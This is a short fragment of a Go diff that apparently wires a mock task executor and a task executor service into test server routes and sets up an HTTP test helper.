mockExecutor := executor.NewMockExecutor(executorConfig, log.Logger) + taskExecutorService := services.NewTaskExecutorService( + taskExecutionService, + s.DB.Repositories.Tasks, + mockExecutor, + nil, // cleanup manager not needed for mock executor + log.Logger, + ) + + routes.Setup(router, s.DB.Config, log, s.DB.DB, s.DB.Repositories, authService, taskExecutionService, taskExecutorService) // Initialize HTTP helper s.HTTP = NewHTTPHelper(router, authService)